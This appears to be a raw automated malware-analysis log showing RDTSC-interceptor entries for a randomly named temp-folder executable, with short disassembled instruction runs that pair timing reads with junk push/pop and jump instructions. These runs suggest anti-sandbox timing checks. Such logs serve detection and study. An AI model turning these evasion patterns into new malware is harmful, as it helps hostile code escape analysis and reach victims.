Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3DCF9 second address: E3DD30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 jnc 00007FA458BC473Ch 0x0000000f pushad 0x00000010 jno 00007FA458BC4736h 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007FA458BC4747h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3DE9B second address: E3DEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3DEA1 second address: E3DEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3E42F second address: E3E45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007FA458503DFAh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA458503E08h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3E74C second address: E3E754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E3E754 second address: E3E758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DB79D5 second address: DB79E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FA458BC4736h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E40B14 second address: E40B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E40C7C second address: E40C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E49258 second address: E4925D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E48646 second address: E4864A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E4864A second address: E4865C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FA458503DF6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E4865C second address: E48662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E48A3C second address: E48A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E4DABF second address: E4DAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E4E0FD second address: E4E101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E4E101 second address: E4E114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jp 00007FA458BC4736h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5ADA second address: DF5ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5ADE second address: DF5AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a sbb dx, 5141h 0x0000000f push 00000004h 0x00000011 push ecx 0x00000012 add dx, EF39h 0x00000017 pop ecx 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5AFC second address: DF5B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF5BEF second address: DF5BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E4E3ED second address: E4E42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458503DFDh 0x00000009 pop ebx 0x0000000a ja 00007FA458503E0Bh 0x00000010 pushad 0x00000011 push edi 0x00000012 jmp 00007FA458503DFBh 0x00000017 pop edi 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E4E42B second address: E4E433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5230C second address: E52310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E51A68 second address: E51AAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4745h 0x00000007 jmp 00007FA458BC473Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA458BC4744h 0x00000015 jnp 00007FA458BC4738h 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E51FF0 second address: E52002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458503DFEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E58DE1 second address: E58E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA458BC473Dh 0x0000000a jno 00007FA458BC473Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA458BC4748h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E58E1B second address: E58E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5978D second address: E59791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E59D13 second address: E59D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E59D19 second address: E59D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5FB6E second address: E5FB72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5FB72 second address: E5FB82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FA458BC4736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5FB82 second address: E5FB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5FB86 second address: E5FB8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5FB8A second address: E5FB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DB5E48 second address: DB5E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EC63 second address: E5EC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EC6B second address: E5EC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EC70 second address: E5EC82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458503DFEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EC82 second address: E5EC86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EC86 second address: E5EC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FA458503DFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EF5E second address: E5EF63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EF63 second address: E5EF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EF6E second address: E5EF74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EF74 second address: E5EF83 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EF83 second address: E5EF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EF89 second address: E5EF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA458503DF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EF94 second address: E5EF9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5EF9A second address: E5EF9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F12C second address: E5F178 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4740h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FA458BC4736h 0x00000014 jmp 00007FA458BC4745h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 jnl 00007FA458BC4736h 0x00000026 pop ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jng 00007FA458BC4736h 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F178 second address: E5F182 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA458503DF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F182 second address: E5F188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F2D3 second address: E5F2EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458503E02h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F5C9 second address: E5F5D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F5D1 second address: E5F5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F72A second address: E5F73C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F73C second address: E5F746 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA458503DFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F746 second address: E5F74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F74E second address: E5F752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F752 second address: E5F76E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA458BC4736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007FA458BC473Ch 0x00000016 jne 00007FA458BC4736h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E5F76E second address: E5F774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E64742 second address: E6474A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6C4B3 second address: E6C4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jne 00007FA458503DF6h 0x0000000c jmp 00007FA458503E00h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6C635 second address: E6C63C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6C7C4 second address: E6C7CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6CA59 second address: E6CA98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA458BC4736h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007FA458BC473Eh 0x00000014 jnp 00007FA458BC473Ch 0x0000001a jnp 00007FA458BC4736h 0x00000020 jmp 00007FA458BC4743h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6CBE7 second address: E6CBF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FA458503E02h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6CBF7 second address: E6CBFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6CE8E second address: E6CEB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FA458503DFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6DC93 second address: E6DCA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458BC473Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E6DCA2 second address: E6DCD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a jmp 00007FA458503E06h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push ebx 0x00000013 jnl 00007FA458503DF6h 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E7378A second address: E7378E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E7378E second address: E737A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FA458503DF6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E737A0 second address: E737B0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA458BC4736h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E737B0 second address: E737BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E78020 second address: E78052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA458BC4741h 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E88EE3 second address: E88EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E88EEC second address: E88F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 jnp 00007FA458BC4736h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA458BC4742h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E88AC6 second address: E88ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E88ACC second address: E88AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: E8BB4B second address: E8BB4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
